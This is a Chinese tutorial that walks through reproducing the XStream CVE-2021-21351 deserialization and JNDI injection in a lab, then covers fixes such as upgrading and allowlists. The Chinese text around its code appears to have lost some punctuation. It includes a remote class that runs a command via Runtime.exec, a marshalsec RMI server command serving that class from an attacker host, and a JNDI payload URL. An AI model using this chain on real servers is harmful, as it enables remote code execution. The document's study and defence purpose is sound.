XStream CVE-2021-21351反序列化漏洞：从原理到实战复现与防御

1. 项目概述一次对XStream反序列化漏洞的深度“解剖”最近在复盘一些经典的Java反序列化漏洞案例XStream的CVE-2021-21351是一个绕不开的典型。这个漏洞的特别之处在于它不像很多需要复杂利用链的漏洞其触发点非常直接但理解其从Java代码构造到最终通过HTTP请求用Burp Suite抓包观察完成攻击的完整链路对于深入理解反序列化攻击的本质非常有帮助。很多资料可能只给出了一个最终的Payload或者复现步骤但中间“为什么”要这么构造每个环节在做什么往往一笔带过。今天我就以一个调试者的视角带大家手把手走一遍这个流程目标不仅仅是复现更是理解攻击链的每一个齿轮是如何咬合的。简单来说CVE-2021-21351允许攻击者通过构造特定的XML输入在目标服务器使用XStream反序列化该XML时触发服务器向指定的JNDI地址发起连接进而可能导致远程代码执行。整个过程涉及Java序列化机制、XStream的转换器Converter逻辑、JNDI注入等知识点。我们将从搭建一个最简单的漏洞环境开始一步步编写攻击代码生成恶意XML最后通过Burp Suite发送请求并观察服务器的反应把这条攻击链清晰地呈现出来。无论你是正在准备安全面试、想深入理解Java反序列化还是希望提升代码审计能力这个“解剖”过程都会让你有所收获。2. 漏洞原理与核心组件拆解在动手之前我们必须先搞清楚敌人是谁以及它的弱点在哪里。盲目地复制粘贴Payload是学不到东西的。2.1 XStream 与它的“信任”问题XStream是一个轻量级的库用于将Java对象序列化为XML或JSON以及反向操作。它的设计哲学是“简单”开发者只需要几行代码就能完成对象和文本之间的转换。然而这种简单背后隐藏着一个关键假设XStream默认信任它要反序列化的数据源。这意味着当它从XML中重建一个Java对象时它会忠实地执行XML中描述的所有操作包括调用类的构造函数、执行setter方法等。CVE-2021-21351正源于此。在特定版本1.4.15的XStream中其内置的ImageIO相关转换器存在缺陷。攻击者可以构造一个特殊的XML该XML指向一个javax.imageio.spi.FilterIterator对象并通过精心设置的属性让XStream在反序列化过程中调用这个FilterIterator的next()方法。而FilterIterator的next()方法内部会去调用一个ServiceRegistry的lookup方法——这本质上就是一个JNDI查找操作。如果攻击者能够控制JNDI的查找地址比如一个恶意的RMI或LDAP服务那么经典的JNDI注入攻击链就被成功引燃了。2.2 攻击链的关键节点从 XML 到 JNDI理解这条链我们可以把它拆解成几个关键节点就像多米诺骨牌入口点XML输入攻击者向服务端提交一段恶意XML。服务端的某个接口可能是文件上传解析、配置导入、数据交换等使用XStream来解析这段XML。触发器XStream反序列化XStream开始解析XML。当它遇到对应javax.imageio.spi.FilterIterator类的标签时会使用其特定的转换器来实例化这个对象。执行引擎FilterIterator.next()在XStream为FilterIterator对象设置属性通过反射调用setter方法的过程中会触发其next()方法的执行。这是整个漏洞从“数据”转向“代码执行”的关键跳板。攻击载荷投递JNDI查找next()方法内部的ServiceRegistry.lookup()调用会根据攻击者预先在XML中设置好的属性即JNDI地址如rmi://attacker-ip:1099/Exploit发起一个网络请求。最终执行远程类加载如果目标服务器的Java环境存在相关的JNDI注入漏洞例如使用了存在漏洞的JDK版本或ClassPath中存在可利用的依赖连接恶意的RMI/LDAP服务后可能会加载并执行远程的恶意Java类从而完成远程代码执行。所以我们的调试目标就是亲眼见证这五个节点是如何被依次触发的。3. 漏洞环境搭建与调试准备理论清楚了我们就要搭建一个可以亲手“摆弄”的实验室环境。这里我选择最清晰的方式创建一个简单的Spring Boot Web项目提供一个存在漏洞的接口。3.1 创建漏洞演示项目使用你熟悉的IDE如IntelliJ IDEA创建一个新的Spring Boot项目。在pom.xml中关键是要引入存在漏洞版本的XStream依赖。dependency groupIdcom.thoughtworks.xstream/groupId artifactIdxstream/artifactId version1.4.15/version !-- 漏洞版本 -- /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency注意为了演示的纯粹性我们这里使用1.4.15这个明确的漏洞版本。在实际安全测试中你需要通过依赖分析工具如mvn dependency:tree来确认目标系统使用的真实版本。接下来我们创建一个非常简单的控制器Controller。它提供一个HTTP POST接口接收一个字符串即我们的XML然后用XStream进行反序列化。import com.thoughtworks.xstream.XStream; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; RestController public class VulnerableController { PostMapping(/parse) public String parseXml(RequestBody String xmlData) { // 创建一个默认配置的XStream实例这是存在风险的用法 XStream xstream new XStream(); // 尝试反序列化XML Object obj xstream.fromXML(xmlData); return Object deserialized: obj.getClass().getName(); } }这段代码的“漏洞点”非常明显new XStream()创建了一个没有任何安全限制的解析器它会忠实地执行XML中的所有指令。在实际业务代码中开发者可能会对XStream设置一些“黑名单”或“白名单”但配置不当或遗漏某个类同样会导致漏洞。3.2 准备恶意RMI服务攻击者端为了完整演示JNDI注入链我们需要在攻击者机器上启动一个恶意的RMI服务。这里我们使用一个广泛用于安全研究的工具marshalsec。首先你需要编译marshalsec项目或者直接下载可执行的JAR包。然后编写一个简单的恶意类这个类将在目标服务器连接RMI服务时被加载和执行。Exploit.java(攻击者机器上)public class Exploit { static { try { // 恶意代码这里以弹出计算器为例Windows Runtime.getRuntime().exec(calc.exe); // Linux/Mac 可替换为Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/pwned}); } catch (Exception e) { e.printStackTrace(); } } }将其编译javac Exploit.java。接着在一个HTTP服务器上托管这个Exploit.class文件。你可以用Python快速起一个服务python3 -m http.server 8000。最后启动marshalsec的RMI服务让它指向我们托管恶意class的HTTP服务器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-attacker-ip:8000/#Exploit 1099这条命令会在1099端口启动一个RMI注册表当有客户端即我们的漏洞服务器通过JNDI查找rmi://your-attacker-ip:1099/Exploit时RMI服务会告诉客户端去http://your-attacker-ip:8000/Exploit.class加载类。实操心得在本地测试时your-attacker-ip不能是127.0.0.1或localhost。因为RMI服务会把这个地址返回给客户端漏洞服务器去加载类服务器会向自己发起HTTP请求这通常不是我们想看到的。建议使用本机的真实局域网IP地址。同时确保防火墙放行了相关端口1099, 8000。4. 构造攻击载荷与Java代码生成这是最核心的一步我们如何生成那段能够触发漏洞的XML直接手写XML非常复杂且容易出错更优雅的方式是用Java代码构造出恶意对象然后利用XStream本身将其序列化成XML。4.1 分析利用链与构造恶意对象我们需要构造一个javax.imageio.spi.FilterIterator对象并设置其iter和filter属性。iter属性需要是一个ServiceRegistry的SubRegistry迭代器而filter属性需要是一个能触发JNDI查找的DynamicFilter。由于涉及大量内部类和反射操作直接new出来几乎不可能。网络上公开的PoC概念验证代码通常使用动态代理和反射来精巧地构建这个对象图。下面是一个经过简化和注释的核心构造代码片段import javax.imageio.spi.FilterIterator; import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.util.Iterator; public class GeneratePayload { public static void main(String[] args) throws Exception { // 1. 创建动态代理用于作为filter属性。 // 当XStream尝试调用代理对象的任何方法时都会触发invoke逻辑。 // 我们需要在invoke中返回一个ServiceRegistry.LookupFilter对象其filter方法会进行JNDI查找。 ClassLoader cl Thread.currentThread().getContextClassLoader(); // 这里需要一个实现了特定接口的InvocationHandler其代码会返回一个指向我们RMI地址的LookupFilter。 // 为了清晰我们略去InvocationHandler的详细实现它内部会构造一个匿名类实现LookupFilter接口。 Object proxyFilter Proxy.newProxyInstance(cl, new Class[]{java.lang.reflect.InvocationHandler.class}, (proxy, method, args1) - { // 当XStream调用任何方法如equals, toString来设置filter属性时我们返回一个恶意的LookupFilter。 return createMaliciousLookupFilter(); }); // 2. 构造FilterIterator实例 ConstructorFilterIterator constructor FilterIterator.class.getDeclaredConstructor(Iterator.class, Class.class); constructor.setAccessible(true); // 第一个参数iter我们需要一个ServiceRegistry.SubRegistry的迭代器。这里可以通过反射构造一个空的迭代器列表。 Iterator iter new java.util.ArrayList().iterator(); // 简化表示实际需要构造特定迭代器 // 第二个参数filter就是我们上面创建的动态代理对象 FilterIterator maliciousIterator constructor.newInstance(iter, proxyFilter); // 3. 使用XStream将恶意对象序列化为XML com.thoughtworks.xstream.XStream xstream new com.thoughtworks.xstream.XStream(); String xmlPayload xstream.toXML(maliciousIterator); System.out.println(xmlPayload); } // 一个用于创建恶意LookupFilter的方法示意 private static Object createMaliciousLookupFilter() throws Exception { // 通过反射动态创建一个实现了ServiceRegistry.LookupFilter接口的匿名类 // 其filter(Object provider)方法会调用ServiceRegistry.lookup参数由我们控制 // 这里会设置JNDI地址为 rmi://your-attacker-ip:1099/Exploit // ... (具体反射代码较为复杂可参考公开PoC) return null; // 占位 } }注意事项上述代码是高度简化的逻辑示意。实际可用的PoC代码会更长因为它需要精确地通过反射构建出整个对象关系网包括ServiceRegistry、SubRegistry、LookupFilter等内部类。我强烈建议你在调试时直接使用安全研究者们已经编写好的、经过验证的PoC代码可以在GitHub等平台找到而不是从头开始写。我们的重点在于理解其生成原理和使用方法。运行这段生成代码或一个完整的PoC你会在控制台得到一大段XML。这就是我们的“武器弹药”。4.2 生成的XML结构浅析生成的XML大概会长这样已大幅简化iterator serializationcustom unserializable-parents/ javax.imageio.spi.FilterIterator iter classjava.util.ArrayList$Itr.../iter filter classsun.reflect.annotation.AnnotationInvocationHandler serializationcustom ... !-- 内部包含了动态代理和指向恶意JNDI地址的配置 -- stringrmi://your-attacker-ip:1099/Exploit/string ... /filter /javax.imageio.spi.FilterIterator /iterator你可以看到它定义了一个FilterIterator对象并设置了其filter属性为一个复杂的、包含序列化数据的对象。这个复杂对象内部就藏匿着那个致命的JNDI地址字符串。5. 利用Burp Suite发起攻击与流量观察现在我们有了漏洞服务端Spring Boot应用和攻击载荷XML是时候发起攻击并观察整个攻击链了。Burp Suite将是我们的“显微镜”。5.1 配置Burp Suite与发送请求首先启动你的Spring Boot应用假设它运行在http://localhost:8080。配置代理确保你的浏览器或HTTP客户端如Postman的代理设置为Burp Suite默认127.0.0.1:8080。捕获请求在Burp Suite的Proxy - Intercept标签页确保拦截是开启的。构造请求我们可以直接使用Burp Suite的Repeater模块来发送精心构造的请求。在Repeater中目标地址填写http://localhost:8080/parse。方法选择POST。在请求体Body中选择Raw格式并将内容类型Content-Type设置为application/xml。将上一节生成的完整XML Payload粘贴到请求体中。发送请求点击“Send”按钮。5.2 关键流量分析与攻击链验证发送请求后我们需要同时在三个地方观察Burp Suite的响应、漏洞服务器的控制台日志、以及恶意RMI服务器的控制台日志。Burp Suite响应如果漏洞触发成功由于服务器尝试加载远程类并执行命令如弹出计算器这个HTTP请求很可能会挂起直到超时或者返回一个500内部服务器错误。响应体里可能会包含异常栈信息仔细看其中很可能有javax.naming.CommunicationException连接RMI服务失败或java.lang.ClassNotFoundException加载远程类失败等字样。这恰恰证明了JNDI查找行为被触发了。漏洞服务器控制台这里会打印出最详细的异常栈。你应该能看到类似下面的调用栈这是攻击链被触发的“铁证”at javax.imageio.spi.FilterIterator.next(FilterIterator.java:...) at sun.reflect.GeneratedMethodAccessor...invoke(...) at com.thoughtworks.xstream.core.util.SerializationMembers.callWriteMethod(...) ... at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(...) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(...) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(...) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(...) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:...)这个栈清晰地展示了从XStream.fromXML()开始到FilterIterator.next()被调用的完整过程。恶意RMI服务器控制台如果网络连通你会看到类似Received LDAP/TCP connection from /192.168.1.100:xxxx的日志这表明漏洞服务器已经成功向你的攻击机发起了JNDI连接请求。如果目标环境存在后续利用条件如旧版JDK你的HTTP服务器日志还会显示有对Exploit.class文件的请求记录。排查技巧实录如果攻击没有成功按以下顺序排查XML Payload是否正确检查生成的XML是否完整特别是JNDI地址是否替换成了你真实的攻击机IP和端口。网络连通性确保漏洞服务器能访问到攻击机的RMI服务端口1099和HTTP服务端口8000。可以在漏洞服务器上使用telnet your-attacker-ip 1099测试。Java版本高版本JDK8u191, 11.0.1等默认限制了JNDI从远程地址加载工厂类这会阻止最终的代码执行。但这不影响我们观察JNDI连接行为漏洞触发点反序列化触发JNDI查找依然存在。测试时可以使用较低版本的JDK如8u181来观察完整攻击链。依赖冲突确保漏洞应用使用的XStream版本确实是1.4.15并且没有引入其他可能干扰序列化过程的库。6. 漏洞修复方案与安全编码实践在理解了攻击的全貌后修复和防御的思路就非常清晰了。核心原则就是不要信任任何外部的序列化数据。6.1 官方修复与升级最直接的修复方式是升级XStream到安全版本1.4.16及以上。新版本中官方为可能被利用的类如javax.imageio.spi.FilterIterator添加了安全框架默认禁止其反序列化。6.2 自定义安全策略白名单如果因为兼容性问题无法立即升级或者你想在代码层面建立更坚固的防线必须为XStream设置严格的白名单。绝对不要使用黑名单因为总有漏网之鱼。XStream xstream new XStream(); // 清除所有现有权限从最严格开始 xstream.addPermission(NoTypePermission.NONE); xstream.addPermission(NullPermission.NULL); xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); // 仅允许你业务中确实需要用到的类 xstream.allowTypes(new Class[]{ com.yourcompany.YourSafeClass.class, com.yourcompany.AnotherSafeClass.class, java.lang.String.class, // ... 明确列出所有允许的类 }); // 或者允许某个包下的所有类仍需谨慎 xstream.allowTypesByWildcard(new String[] { com.yourcompany.safepackage.* });设置白名单后当XStream遇到不在名单内的类如FilterIterator时会直接抛出com.thoughtworks.xstream.security.ForbiddenClassException异常攻击载荷在第一步就被拦截了。6.3 架构层面的缓解措施输入验证与过滤对于接收XML数据的接口在交给XStream之前可以进行严格的格式和内容验证。虽然很难完全防御但可以增加攻击成本。使用替代方案评估是否真的需要使用XStream。对于简单的配置序列化可以考虑JSON如Jackson/Gson并禁用其多态类型处理JsonTypeInfo。对于必须的XML处理使用更安全、限制更多的库或方式如JAXB绑定配合XML Schema验证。环境加固升级JDK到最新版本利用其内置的JNDI远程类加载限制、RMI反序列化过滤器等安全机制。安全扫描在CI/CD流程中引入依赖漏洞扫描工具如OWASP Dependency-Check, Snyk及时发现有漏洞的组件。7. 从漏洞分析到面试思考调试这样一个漏洞其价值远不止于复现。它串联起了Java安全中多个重要的知识点而这些正是面试中常见的问题。Java反序列化的本质是什么它不仅仅是数据的还原更是对象图的重建会调用构造函数、setter、getter、readObject等方法。这就为“数据”控制“代码”提供了可能。XStream、Jackson、Fastjson这些库在反序列化时有何异同它们虽然格式不同XML/JSON但核心风险相似默认信任输入、通过反射操作对象、支持多态类型。它们的漏洞利用链可能不同如Jackson利用DefaultTypingFastjson利用AutoType但根源都是“不受控的反序列化”。JNDI注入的原理是什么它本质是一个命名和目录查找服务。当查找的地址如rmi://...可控时客户端会去连接该地址并可能加载远程对象。结合Java反序列化就形成了“反序列化 - 触发JNDI查找 - 加载远程恶意类 - RCE”的经典链式攻击。如何防御这类漏洞核心就是“不信任输入”和“最小化权限”。具体措施包括组件及时升级、使用严格的白名单、禁用危险特性如Jackson的DefaultTyping、环境加固升级JDK。当你亲手走完从代码构造、Payload生成到发送请求、观察日志的完整流程后对这些理论的理解就不再是浮于纸面。下次在代码审计时看到new XStream()或者在面试中被问到反序列化漏洞你脑子里浮现的将是一条清晰、生动的攻击链画面以及对应的防御点。这才是实战调试带给我们的真正收获。